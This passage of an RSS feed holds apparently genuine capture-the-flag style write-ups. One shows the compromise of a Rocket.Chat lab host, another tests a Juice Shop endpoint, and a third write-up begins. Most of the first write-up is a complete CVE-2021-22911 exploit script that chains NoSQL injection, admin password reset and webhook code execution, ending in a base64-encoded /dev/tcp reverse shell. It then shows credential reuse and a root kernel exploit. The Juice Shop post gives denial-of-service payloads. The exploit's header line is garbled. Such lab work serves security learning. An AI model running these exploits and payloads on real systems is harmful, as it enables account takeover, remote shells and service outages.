charset=utf-8<br>|     Vary: Accept-Encoding<br>|     Date: Fri, 01 May 2026 03:01:54 GMT<br>|     Connection: close<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html&gt;<br>|     &lt;head&gt;<br>|     &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; class=&quot;__meteor-css__&quot; href=&quot;/789f2fee702e2a6a62ec245003ce4734eeec6f9a.css?meteor_css_resource=true&quot;&gt;<br>|     &lt;meta charset=&quot;utf-8&quot; /&gt;<br>|     &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;<br>|     &lt;meta http-equiv=&quot;expires&quot; content=&quot;-1&quot; /&gt;<br>|     &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot; /&gt;<br>|     &lt;meta name=&quot;fragment&quot; content=&quot;!&quot; /&gt;<br>|     &lt;meta name=&quot;distribution&quot; content=&quot;global&quot; /&gt;<br>|     &lt;meta name=&quot;rating&quot; content=&quot;general&quot; /&gt;<br>|     &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no&quot; /&gt;<br>|     &lt;meta name=&quot;mobile-web-app-capable&quot; cont<br>|   HTTPOptions: <br>|     HTTP/1.1 200 OK<br>|     X-XSS-Protection: 1<br>|     X-Content-Type-Options: nosniff<br>|     X-Frame-Options: sameorigin<br>|     X-Instance-ID: ESeR2r5wkkgXWoD23<br>|     Content-Type: text/html; charset=utf-8<br>|     Vary: Accept-Encoding<br>|     Date: Fri, 01 May 2026 03:01:56 GMT<br>|     Connection: close<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html&gt;<br>|     &lt;head&gt;<br>|     &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; class=&quot;__meteor-css__&quot; href=&quot;/789f2fee702e2a6a62ec245003ce4734eeec6f9a.css?meteor_css_resource=true&quot;&gt;<br>|     &lt;meta charset=&quot;utf-8&quot; /&gt;<br>|     &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;<br>|     &lt;meta http-equiv=&quot;expires&quot; content=&quot;-1&quot; /&gt;<br>|     &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot; /&gt;<br>|     &lt;meta name=&quot;fragment&quot; content=&quot;!&quot; /&gt;<br>|     &lt;meta name=&quot;distribution&quot; content=&quot;global&quot; /&gt;<br>|     &lt;meta name=&quot;rating&quot; content=&quot;general&quot; /&gt;<br>|     &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no&quot; /&gt;</pre><h4>Rustscan</h4><pre><br>PORT     STATE SERVICE REASON         VERSION<br>22/tcp   open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 b9:7c:3a:db:22:76:47:d9:29:af:da:cd:0d:1b:22:d5 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAeLY/rLtwv0qk2/SFFpZzsW3IPmAKawKPP+tHxArRloDe8ON2q7olsI+LxEf+0Ih9ShCAgRpZPETKq+RykwDzE=<br>|   256 45:65:36:61:8d:79:c3:dc:f7:a1:71:37:7d:f1:a1:cf (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFvO+F/PDZZ2uWnq9XijgAX82ApWsZuRinXeoki037iw<br>80/tcp   open  http    syn-ack ttl 62 Apache httpd 2.4.58 ((Ubuntu))<br>|_http-server-header: Apache/2.4.58 (Ubuntu)<br>|_http-title: Exception<br>| http-methods: <br>|_  Supported Methods: POST OPTIONS HEAD GET<br>3000/tcp open  ppp?    syn-ack ttl 61<br>| fingerprint-strings: <br>|   GetRequest: <br>|     HTTP/1.1 200 OK<br>|     X-XSS-Protection: 1<br>|     X-Content-Type-Options: nosniff<br>|     X-Frame-Options: sameorigin<br>|     X-Instance-ID: ESeR2r5wkkgXWoD23<br>|     Content-Type: text/html; charset=utf-8<br>|     Vary: Accept-Encoding<br>|     Date: Fri, 01 May 2026 03:02:58 GMT<br>|     Connection: close<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html&gt;<br>|     &lt;head&gt;<br>|     &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; class=&quot;__meteor-css__&quot; href=&quot;/789f2fee702e2a6a62ec245003ce4734eeec6f9a.css?meteor_css_resource=true&quot;&gt;<br>|     &lt;meta charset=&quot;utf-8&quot; /&gt;<br>|     &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;<br>|     &lt;meta http-equiv=&quot;expires&quot; content=&quot;-1&quot; /&gt;<br>|     &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot; /&gt;<br>|     &lt;meta name=&quot;fragment&quot; content=&quot;!&quot; /&gt;<br>|     &lt;meta name=&quot;distribution&quot; content=&quot;global&quot; /&gt;<br>|     &lt;meta name=&quot;rating&quot; content=&quot;general&quot; /&gt;<br>|     &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no&quot; /&gt;<br>|     &lt;meta name=&quot;mobile-web-app-capable&quot; cont<br>|   HTTPOptions: <br>|     HTTP/1.1 200 OK<br>|     X-XSS-Protection: 1<br>|     X-Content-Type-Options: nosniff<br>|     X-Frame-Options: sameorigin<br>|     X-Instance-ID: ESeR2r5wkkgXWoD23<br>|     Content-Type: text/html; charset=utf-8<br>|     Vary: Accept-Encoding<br>|     Date: Fri, 01 May 2026 03:03:00 GMT<br>|     Connection: close<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html&gt;<br>|     &lt;head&gt;<br>|     &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; class=&quot;__meteor-css__&quot; href=&quot;/789f2fee702e2a6a62ec245003ce4734eeec6f9a.css?meteor_css_resource=true&quot;&gt;<br>|     &lt;meta charset=&quot;utf-8&quot; /&gt;<br>|     &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;<br>|     &lt;meta http-equiv=&quot;expires&quot; content=&quot;-1&quot; /&gt;<br>|     &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot; /&gt;<br>|     &lt;meta name=&quot;fragment&quot; content=&quot;!&quot; /&gt;<br>|     &lt;meta name=&quot;distribution&quot; content=&quot;global&quot; /&gt;<br>|     &lt;meta name=&quot;rating&quot; content=&quot;general&quot; /&gt;<br>|     &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no&quot; /&gt;</pre><ul><li>We found 3 ports opened 22,80,3000</li></ul><h3>SSH (22)</h3><pre> ssh root@exception.hsm      <br>The authenticity of host &#39;exception.hsm (10.1.189.32)&#39; can&#39;t be established.<br>ED25519 key fingerprint is: SHA256:Ef/OWUCxZP04+ByuRVegbjuQjqITaL4tnrWxn7bVtmk<br>This key is not known by any other names.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;exception.hsm&#39; (ED25519) to the list of known hosts.<br>root@exception.hsm&#39;s password: </pre><ul><li>We see it is password authentication we might be able to grab a password some where.</li></ul><h3>HTTP (80 &amp; 3000)</h3><h4>80</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*UZcY_yMRrhEt1CfS88sljg.png" /></figure><h4>3000</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*acFSp7_zyBHSVhjqVpm3ig.png" /></figure><ul><li>Found some users</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y5_cuUythcOuYCYi7m32_Q.png" /></figure><ul><li>We’ve an interesting user localhOst</li></ul><h4>Version Discovery</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*z2Sxi-Us-BP8W2zRukd-Jg.png" /></figure><ul><li>Looking if there is a public exploit for <a href="http://rockect.chat/">rockect.chat</a> version 3.12.1</li><li>I found exploit matching with this version <a href="https://www.exploit-db.com/exploits/49960">https://www.exploit-db.com/exploits/49960</a> but unfortunately this exploit wasn’t working some modifications needed to be done to use it.</li><li>And 0xb0b did great with his exploit</li></ul><pre> # Title: Rocket.Chat 3.12.1 - NoSQL Injectioparser.add_argument(&#39;-u&#39;, help=&#39;Low priv user email [ No 2fa ]&#39;, required=True)n to RCE (Unauthenticated) (2)<br> # Author: enox<br> # Date: 06-06-2021<br> # Product: Rocket.Chat<br> # Vendor: https://rocket.chat/<br> # Vulnerable Version(s): Rocket.Chat 3.12.1 (2)<br> # CVE: CVE-2021-22911<br> # Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat<br> # Info : This is a faster exploit that utilizes the authenticated nosql injection to retrieve the reset token for administrator instead of performing blind nosql injection.<br> <br> #!/usr/bin/python<br> <br> import requests<br> import string<br> import time<br> import hashlib<br> import json<br> import oathtool<br> import argparse<br> import base64<br> <br> parser = argparse.ArgumentParser(description=&#39;RocketChat 3.12.1 RCE&#39;)<br> parser.add_argument(&#39;-u&#39;, help=&#39;Low priv user email [ No 2fa ]&#39;, required=True)<br> parser.add_argument(&#39;-U&#39;, help=&#39;Low priv username [ No 2fa ]&#39;, required=True)<br> parser.add_argument(&#39;-p&#39;, help=&#39;Low priv user password [ No 2fa ]&#39;, required=True)<br> parser.add_argument(&#39;-a&#39;, help=&#39;Administrator email&#39;, required=True)<br> parser.add_argument(&#39;-A&#39;, help=&#39;Administrator username&#39;, required=True)<br> parser.add_argument(&#39;-t&#39;, help=&#39;URL (Eg: http://rocketchat.local)&#39;, required=True)<br> <br> parser.add_argument(&#39;-H&#39;, help=&#39;reverse shell host&#39;, required=True)<br> parser.add_argument(&#39;-P&#39;, help=&#39;reverse shell port&#39;, required=True)<br> <br> args = parser.parse_args()<br> <br> <br> adminmail = args.a<br> lowprivmail = args.u<br> lowprivuser = args.U<br> lowprivpassword = args.p<br> target = args.t<br> privuser = args.A<br> <br> revip = args.H<br> revport = args.P<br> <br> <br> def forgotpassword(email,url):<br>  payload=&#39;{&quot;message&quot;:&quot;{\\&quot;msg\\&quot;:\\&quot;method\\&quot;,\\&quot;method\\&quot;:\\&quot;sendForgotPasswordEmail\\&quot;,\\&quot;params\\&quot;:[\\&quot;&#39;+email+&#39;\\&quot;]}&quot;}&#39;<br>  headers={&#39;content-type&#39;: &#39;application/json&#39;}<br>  r = requests.post(url+&quot;/api/v1/method.callAnon/sendForgotPasswordEmail&quot;, data = payload, headers = headers, verify = False, allow_redirects = False)<br>  print(&quot;[+] Password Reset Email Sent&quot;)<br> <br> <br> def resettoken(url):<br>  u = url+&quot;/api/v1/method.callAnon/getPasswordPolicy&quot;<br>  headers={&#39;content-type&#39;: &#39;application/json&#39;}<br>  token = &quot;&quot;<br> <br>  num = list(range(0,10))<br>  string_ints = [str(int) for int in num]<br>  characters = list(string.ascii_uppercase + string.ascii_lowercase) + list(&#39;-&#39;)+list(&#39;_&#39;) + string_ints<br> <br>  while len(token)!= 43:<br>   for c in characters:<br>    payload=&#39;{&quot;message&quot;:&quot;{\\&quot;msg\\&quot;:\\&quot;method\\&quot;,\\&quot;method\\&quot;:\\&quot;getPasswordPolicy\\&quot;,\\&quot;params\\&quot;:[{\\&quot;token\\&quot;:{\\&quot;$regex\\&quot;:\\&quot;^%s\\&quot;}}]}&quot;}&#39; % (token + c)<br>    r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)<br>    time.sleep(0.5)<br>    if &#39;Meteor.Error&#39; not in r.text:<br>     token += c<br>     print(f&quot;Got: {token}&quot;)<br> <br>  print(f&quot;[+] Got token : {token}&quot;)<br>  return token<br> <br> <br> def changingpassword(url,token):<br>  payload = &#39;{&quot;message&quot;:&quot;{\\&quot;msg\\&quot;:\\&quot;method\\&quot;,\\&quot;method\\&quot;:\\&quot;resetPassword\\&quot;,\\&quot;params\\&quot;:[\\&quot;&#39;+token+&#39;\\&quot;,\\&quot;P@$$w0rd!1234\\&quot;]}&quot;}&#39;<br>  headers={&#39;content-type&#39;: &#39;application/json&#39;}<br>  r = requests.post(url+&quot;/api/v1/method.callAnon/resetPassword&quot;, data = payload, headers = headers, verify = False, allow_redirects = False)<br>  if &quot;error&quot; in r.text:<br>   exit(&quot;[-] Wrong token&quot;)<br>  print(&quot;[+] Password was changed !&quot;)<br> <br> <br> def twofactor(url,user,password,privuser):<br>  # Authenticating<br>  sha256pass = hashlib.sha256(password.encode()).hexdigest()<br>  payload =&#39;{&quot;message&quot;:&quot;{\\&quot;msg\\&quot;:\\&quot;method\\&quot;,\\&quot;method\\&quot;:\\&quot;login\\&quot;,\\&quot;params\\&quot;:[{\\&quot;user\\&quot;:{\\&quot;username\\&quot;:\\&quot;&#39;+user+&#39;\\&quot;},\\&quot;password\\&quot;:{\\&quot;digest\\&quot;:\\&quot;&#39;+sha256pass+&#39;\\&quot;,\\&quot;algorithm\\&quot;:\\&quot;sha-256\\&quot;}}]}&quot;}&#39;<br>  headers={&#39;content-type&#39;: &#39;application/json&#39;}<br>  r = requests.post(url + &quot;/api/v1/method.callAnon/login&quot;,data=payload,headers=headers,verify=False,allow_redirects=False)<br>  if &quot;error&quot; in r.text:<br>   exit(&quot;[-] Couldn&#39;t authenticate&quot;)<br>  data = json.loads(r.text)<br>  data =(data[&#39;message&#39;])<br>  userid = data[32:49]<br>  token = data[60:103]<br>  print(f&quot;[+] Succesfully authenticated as {user}&quot;)<br> <br>  # Getting 2fa code<br>  cookies = {&#39;rc_uid&#39;: userid,&#39;rc_token&#39;: token}<br>  headers={&#39;X-User-Id&#39;: userid,&#39;X-Auth-Token&#39;: token}<br>  payload = &#39;/api/v1/users.list?query={&quot;$where&quot;%3a&quot;this.username%3d%3d%3d\&#39;&#39;+privuser+&#39;\&#39;+%26%26+(()%3d&gt;{+throw+this.services.totp.secret+})()&quot;}&#39;<br>  r = requests.get(url+payload,cookies=cookies,headers=headers)<br>  code = r.text[46:98]<br>  print(f&quot;Got the code for 2fa: {code}&quot;)<br>  return code<br> <br> def admin_token(url,user,password,privuser):<br>  # Authenticating<br>  sha256pass = hashlib.sha256(password.encode()).hexdigest()<br>  payload =&#39;{&quot;message&quot;:&quot;{\\&quot;msg\\&quot;:\\&quot;method\\&quot;,\\&quot;method\\&quot;:\\&quot;login\\&quot;,\\&quot;params\\&quot;:[{\\&quot;user\\&quot;:{\\&quot;username\\&quot;:\\&quot;&#39;+user+&#39;\\&quot;},\\&quot;password\\&quot;:{\\&quot;digest\\&quot;:\\&quot;&#39;+sha256pass+&#39;\\&quot;,\\&quot;algorithm\\&quot;:\\&quot;sha-256\\&quot;}}]}&quot;}&#39;<br>  headers={&#39;content-type&#39;: &#39;application/json&#39;}<br>  r = requests.post(url + &quot;/api/v1/method.callAnon/login&quot;,data=payload,headers=headers,verify=False,allow_redirects=False)<br>  if &quot;error&quot; in r.text:<br>   exit(&quot;[-] Couldn&#39;t authenticate&quot;)<br>  data = json.loads(r.text)<br>  data =(data[&#39;message&#39;])<br>  userid = data[32:49]<br>  token = data[60:103]<br>  print(f&quot;[+] Succesfully authenticated as {user}&quot;)<br> <br>  # Getting reset token for admin<br>  cookies = {&#39;rc_uid&#39;: userid,&#39;rc_token&#39;: token}<br>  headers={&#39;X-User-Id&#39;: userid,&#39;X-Auth-Token&#39;: token}<br>  payload = &#39;/api/v1/users.list?query={&quot;$where&quot;%3a&quot;this.username%3d%3d%3d\&#39;&#39;+privuser+&#39;\&#39;+%26%26+(()%3d&gt;{+throw+this.services.password.reset.token+})()&quot;}&#39;<br>  r = requests.get(url+payload,cookies=cookies,headers=headers)<br>  code = r.text[46:89]<br>  print(f&quot;Got the reset token: {code}&quot;)<br>  return code<br> <br> <br> def changingadminpassword(url,token,code):<br>  payload = &#39;{&quot;message&quot;:&quot;{\\&quot;msg\\&quot;:\\&quot;method\\&quot;,\\&quot;method\\&quot;:\\&quot;resetPassword\\&quot;,\\&quot;params\\&quot;:[\\&quot;&#39;+token+&#39;\\&quot;,\\&quot;P@$$w0rd!1234\\&quot;,{\\&quot;twoFactorCode\\&quot;:\\&quot;&#39;+code+&#39;\\&quot;,\\&quot;twoFactorMethod\\&quot;:\\&quot;totp\\&quot;}]}&quot;}&#39;<br>  headers={&#39;content-type&#39;: &#39;application/json&#39;}<br>  r = requests.post(url+&quot;/api/v1/method.callAnon/resetPassword&quot;, data = payload, headers = headers, verify = False, allow_redirects = False)<br>  if &quot;403&quot; in r.text:<br>   exit(&quot;[-] Wrong token&quot;)<br> <br>  print(&quot;[+] Admin password changed !&quot;)<br> <br> <br> def rce(url,code,cmd,user):<br>  # Authenticating<br>  sha256pass = hashlib.sha256(b&#39;P@$$w0rd!1234&#39;).hexdigest()<br>  headers={&#39;content-type&#39;: &#39;application/json&#39;}<br>  payload = &#39;{&quot;message&quot;:&quot;{\\&quot;msg\\&quot;:\\&quot;method\\&quot;,\\&quot;method\\&quot;:\\&quot;login\\&quot;,\\&quot;params\\&quot;:[{\\&quot;totp\\&quot;:{\\&quot;login\\&quot;:{\\&quot;user\\&quot;:{\\&quot;username\\&quot;:\\&quot;&#39;+user+&#39;\\&quot;},\\&quot;password\\&quot;:{\\&quot;digest\\&quot;:\\&quot;&#39;+sha256pass+&#39;\\&quot;,\\&quot;algorithm\\&quot;:\\&quot;sha-256\\&quot;}},\\&quot;code\\&quot;:\\&quot;&#39;+code+&#39;\\&quot;}}]}&quot;}&#39;<br>  r = requests.post(url + &quot;/api/v1/method.callAnon/login&quot;,data=payload,headers=headers,verify=False,allow_redirects=False)<br>  if &quot;error&quot; in r.text:<br>   exit(&quot;[-] Couldn&#39;t authenticate&quot;)<br>  data = json.loads(r.text)<br>  data =(data[&#39;message&#39;])<br>  userid = data[32:49]<br>  token = data[60:103]<br>  print(&quot;[+] Succesfully authenticated as administrator&quot;)<br> <br>  # Creating Integration<br>  payload = &#39;{&quot;enabled&quot;:true,&quot;channel&quot;:&quot;#general&quot;,&quot;username&quot;:&quot;&#39;+user+&#39;&quot;,&quot;name&quot;:&quot;rce&quot;,&quot;alias&quot;:&quot;&quot;,&quot;avatarUrl&quot;:&quot;&quot;,&quot;emoji&quot;:&quot;&quot;,&quot;scriptEnabled&quot;:true,&quot;script&quot;:&quot;const require = console.log.constructor(\&#39;return process.mainModule.require\&#39;)();\\nconst { exec } = require(\&#39;child_process\&#39;);\\nexec(\&#39;&#39;+cmd+&#39;\&#39;);&quot;,&quot;type&quot;:&quot;webhook-incoming&quot;}&#39;<br>  cookies = {&#39;rc_uid&#39;: userid,&#39;rc_token&#39;: token}<br>  headers = {&#39;X-User-Id&#39;: userid,&#39;X-Auth-Token&#39;: token}<br>  r = requests.post(url+&#39;/api/v1/integrations.create&#39;,cookies=cookies,headers=headers,data=payload)<br>  data = r.text<br>  data = data.split(&#39;,&#39;)<br>  token = data[12]<br>  token = token[9:57]<br>  _id = data[18]<br>  _id = _id[7:24]<br> <br>  # Triggering RCE<br>  u = url + &#39;/hooks/&#39; + _id + &#39;/&#39; +token<br>  r = requests.get(u)<br>  print(r.text)<br> <br> ############################################################<br> <br> <br> # Getting Low Priv user<br> #print(f&quot;[+] Resetting {lowprivmail} password&quot;)<br> ## Sending Reset Mail<br> #forgotpassword(lowprivmail,target)<br> <br> ## Getting reset token through blind nosql injection<br> #token = resettoken(target)<br> ## Changing Password<br> #changingpassword(target,token)<br> <br> <br> # Privilege Escalation to admin<br> ## Getting secret for 2fa<br> secret = twofactor(target,lowprivuser,lowprivpassword,privuser)<br> <br> ## Sending Reset mail<br> print(f&quot;[+] Resetting {adminmail} password&quot;)<br> forgotpassword(adminmail,target)<br> <br> ## Getting admin reset token through nosql injection authenticated<br> token = admin_token(target,lowprivuser,lowprivpassword,privuser)<br> <br> <br> ## Resetting Password<br> code = oathtool.generate_otp(secret)<br> changingadminpassword(target,token,code)<br> <br> ## Reverse Shell<br> rev = &#39;/bin/sh -i &gt;&amp; /dev/tcp/&#39;+revip+&#39;/&#39;+revport+&#39; 0&gt;&amp;1&#39;<br> encoded_rev = base64.b64encode(rev.encode()).decode()<br> payload = &#39;echo &#39; + encoded_rev + &#39; | base64 -d | bash&#39;<br> rce(target,code,payload,privuser)<br> <br> ## Authenticating and triggering rce<br> <br> #while True:<br> # cmd = input(&quot;CMD:&gt; &quot;)<br> # code = oathtool.generate_otp(secret)<br> # rce(target,code,cmd)</pre><h3>Exploiting RCE on <a href="http://rocket.chat/">rocket.chat</a></h3><ul><li>Before lunching the attack you need to lunch a listener.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8O-ilTsUBS6wuMZQAtMWMA.png" /></figure><h3>Enumerating <a href="http://rocket.chat/">Rocket.chat</a></h3><ul><li>Found an interesting file containing some password</li></ul><pre>$ cd /<br>$ ls -la<br>total 80<br>drwxr-xr-x   1 root root 4096 Oct 25  2025 .<br>drwxr-xr-x   1 root root 4096 Oct 25  2025 ..<br>-rwxr-xr-x   1 root root    0 Oct 25  2025 .dockerenv<br>-rw-r--r--   1 root root   95 Oct 25  2025 Backup_db.txt<br>drwxr-xr-x   1 root root 4096 Mar  8  2021 app<br>drwxr-xr-x   2 root root 4096 Sep  8  2020 bin<br>drwxr-xr-x   2 root root 4096 Jul 10  2020 boot<br>drwxr-xr-x   5 root root  340 May  3 04:02 dev<br>drwxr-xr-x   1 root root 4096 Oct 25  2025 etc<br>drwxr-xr-x   1 root root 4096 Sep 10  2020 home<br>drwxr-xr-x   1 root root 4096 Mar  8  2021 lib<br>drwxr-xr-x   2 root root 4096 Sep  8  2020 lib64<br>drwxr-xr-x   2 root root 4096 Sep  8  2020 media<br>drwxr-xr-x   2 root root 4096 Sep  8  2020 mnt<br>drwxr-xr-x   1 root root 4096 Sep 16  2020 opt<br>dr-xr-xr-x 173 root root    0 May  3 04:02 proc<br>drwx------   1 root root 4096 Mar  8  2021 root<br>drwxr-xr-x   3 root root 4096 Sep  8  2020 run<br>drwxr-xr-x   2 root root 4096 Sep  8  2020 sbin<br>drwxr-xr-x   2 root root 4096 Sep  8  2020 srv<br>dr-xr-xr-x  13 root root    0 May  3 04:02 sys<br>drwxrwxrwt   1 root root 4096 May  3 04:03 tmp<br>drwxr-xr-x   1 root root 4096 Sep  8  2020 usr<br>drwxr-xr-x   1 root root 4096 Sep  8  2020 var<br>$ cat Backup_db.txt<br>DATABASE_USER=Ron<br>DATABASE_PASSWORD=A......U<br>DATABASE_NAME=chatty<br>DATABASE_HOST=localhost<br>$ </pre><ul><li>We have user name and password I will be trying it on ssh port.</li></ul><h3>Trying creds on ssh port as Ron</h3><pre>ssh Ron@exception.hsm<br>Ron@exception.hsm&#39;s password: <br>Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-31-generic x86_64)<br><br>&lt;SNIP&gt;<br><br>Last login: Sat Oct 25 16:05:05 2025 from 192.168.0.137<br>Ron@Chatty:~$ id &amp; whoami<br>[1] 1707<br>uid=1000(Ron) gid=1000(Ron) groups=1000(Ron),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)<br>Ron<br>[1]+  Done                    id<br>Ron@Chatty:~$ </pre><ul><li>Run user valid</li></ul><h4>Getting root flag</h4><pre>Ron@Chatty:~$ pwd<br>/home/Ron<br>Ron@Chatty:~$ ls<br>user.txt<br>Ron@Chatty:~$ cat user.txt <br>f27d.......a</pre><h3>Privilege Escalation</h3><p>For this we’re going to use an exploit known as copy_fail which is <a href="https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py">https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py</a></p><ul><li>From my host I will send it to the victim</li><li>And from the victim make it executable and then exploit</li></ul><pre>Ron@Chatty:~$ chmod +x copy_fail_exp.py                                                     <br>Ron@Chatty:~$ ls<br>copy_fail_exp.py  user.txt                                                                  <br>Ron@Chatty:~$ ./copy_fail_exp.py                                                            <br># id                                                                                        <br>uid=0(root) gid=1000(Ron) groups=1000(Ron),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)                                                                                       <br># cd /root                                                                                  <br># ls                                                                                        <br>Chatty  root.txt                                                                            <br># cat root.txt                                                                              <br>9443f......3  </pre><ul><li>Full compromise</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd9cab2f79e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Juice Shop Insecure Deserialization]]></title>
            <link>https://medium.com/@tanyibesong.bryanmaurice/juice-shop-insecure-deserialization-64c9e6d13832?source=rss-44016c9a5283------2</link>
            <guid isPermaLink="false">https://medium.com/p/64c9e6d13832</guid>
            <dc:creator><![CDATA[Exploitforge]]></dc:creator>
            <pubDate>Mon, 27 Apr 2026 20:29:35 GMT</pubDate>
            <atom:updated>2026-04-27T20:29:35.327Z</atom:updated>
            <content:encoded><![CDATA[<p>The aim is to exploit Insecure deserialization in Juice shop /api-docs end point</p><ul><li>When I meet the Request body and try it out it ask us for an authorization head. So I figured out I had to enter an authorization in the place holder.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GWsTzCPfCudnl4sEe_KDkw.png" /></figure><ul><li>I went into the network field an capture for an authorization header added it to authorized place holder and found out that it could be transmitted.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TQLE3t-tH3qY43slzQbK5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*UY8Z7Y9Fu3vSlt6KacgEzw.png" /></figure><ul><li>We can test to normal function</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ucRo6HzMz1Rspdqjr-6RLw.png" /></figure><ul><li>We used a classic to JavaScript payload to test for vulnerability</li></ul><pre>&quot;orderLinesData&quot;: &quot;(function bad () { while(1); })()&quot;                                            </pre><ul><li>With this payload we performed a DOS attack on the server</li></ul><pre> &quot;orderLinesData&quot;: &quot;(function() { var storage = []; while(true) { storage.push(new Array(1000000).fill(&#39;A&#39;)); } })()&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*km-HuNoTtarL75fRbQjpyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XH4t9BS2cjHpkqtKHcX2QA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64c9e6d13832" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Samurai | HackSmarter]]></title>
            <link>https://medium.com/@tanyibesong.bryanmaurice/samurai-hacksmarter-051288a94032?source=rss-44016c9a5283------2</link>
            <guid isPermaLink="false">https://medium.com/p/051288a94032</guid>
            <dc:creator><![CDATA[Exploitforge]]></dc:creator>
            <pubDate>Fri, 17 Apr 2026 15:37:44 GMT</pubDate>
            <atom:updated>2026-04-17T15:37:44.279Z</atom:updated>
            <content:encoded><![CDATA[<pre>10.1.68.7 | samurai.hsm</pre><h3>Objective</h3><p>As part of a penetration test, your team identified an interesting web server. Your task is to enumerate the target, establish an initial foothold, and escalate privileges to root.</p><h3>Enumeration</h3><h4>Nmap</h4><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 c3:5a:83:50:80:9a:61:37:05:b7:45:96:cb:ab:1d:1e (ECDSA)<br>|_  256 6b:15:12:60:1b:21:d1:bf:7e:b8:c0:e8:d7:7e:7b:6b (ED25519)<br>80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-favicon: Unknown favicon MD5: 3E18B73692FF5A74F54EFFB2E047C8CB<br>|_http-title: Samurai<br>|_http-server-header: Apache/2.4.52 (Ubuntu)<br>Aggressive OS guesses: Linux 4.15 (98%), Linu</pre><h4>Rustscan</h4><pre>PORT   STATE SERVICE REASON         VERSION<br>22/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 c3:5a:83:50:80:9a:61:37:05:b7:45:96:cb:ab:1d:1e (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDnWIbBLcbSbZZmw8nDh5DOA9ecneGMU8Ff1Rm8Frp71DcloANVhYkmErZ3+o839XNGO+k2tmXeNcwJ8jICj06M=<br>|   256 6b:15:12:60:1b:21:d1:bf:7e:b8:c0:e8:d7:7e:7b:6b (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9JIv57fNRXYSBb4BDtI+WNZG/hfJuGHaaMLL7Iu9PG<br>80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.52 ((Ubuntu))<br>|_http-title: Samurai<br>|_http-favicon: Unknown favicon MD5: 3E18B73692FF5A74F54EFFB2E047C8CB<br>|_http-server-header: Apache/2.4.52 (Ubuntu)<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS</pre><h4>SSH (22)</h4><ul><li>We are going to find out if the authentication is by key or if it a pass by key authentication method</li></ul><pre>─$ ssh root@samurai.hsm  <br>The authenticity of host &#39;samurai.hsm 